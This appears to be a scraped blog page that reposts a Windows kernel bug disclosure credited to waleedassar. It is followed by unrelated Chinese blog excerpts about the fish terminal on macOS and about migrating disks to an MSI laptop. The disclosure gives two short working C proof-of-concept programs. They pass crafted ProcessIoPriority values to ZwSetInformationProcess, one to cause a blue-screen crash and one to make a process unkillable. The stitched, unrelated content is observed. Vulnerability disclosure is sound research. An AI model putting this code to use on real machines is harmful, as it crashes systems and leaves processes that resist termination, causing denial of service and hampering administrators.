ProcessIoPriority Bug (BSOD/Non-Killable Process)

//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar

BSOD:
#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0xFFFFFFFF;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Non-Killable Process:

#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0x8000F129;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Description:
With the “ProcessInformationClass” parameter set to ProcessIoPriority 0x21, passing certain signed values e.g. 0xFFFFFFFF or 0x8000F129 in the variable pointed to by the “ProcessInformation” parameter to the ntdll “ZwSetInformationProcess” function can be abused to arbitrarily set certain bit flags of the corresponding “_EPROCESS” structure e.g. DefaultIoPriority: Pos 27, ProcessSelfDelete : Pos 30, or SetTimerResolutionLink: Pos 31.

Link:http://waleedassar.blogspot.tw/2013/02/kernel-bug-1-processiopriority.html

再谈Mac 终端的高亮

mac

也不知道为什么苹果不愿意默认情况下让那个终端支持高亮,每次都要非诚蛋疼的重新配置,哈哈,其实问题的关键是我用的不是mac的主机,用的虚拟机跑的mac,现在还是挺顺畅的。今天这里要介绍的不是配置脚本,是另外的一个终端工具,fish。嘎嘎

上图就是效果啦,还是非常不错的。

Continue Reading

Monster Msi GE70 0ND-279CN

1

预订这台笔记本其实是四天之前的事情,而到手则是昨天的事情。昨天干的事情说实话真的不咋地,唯一的感觉就是玩脱了。首先为了让从Acer 5742G上拆下来的硬盘能直接跑在Msi GE70 0ND-279CN 上把新电脑的uefi模式的bios改成了传统的biso,而为了让新电脑的系统能跑在原来的笔记本上,又把新电脑的硬盘分区格式从Guid格式改成了传统格式.最终的效果是新的硬盘在旧的笔记本上欢快的跑了起来,而旧的硬盘在新的笔记本上却没法适应这个新的宿主,主要问题其实不是在于硬盘,而是在于那个Win7 64的系统.

Continue Reading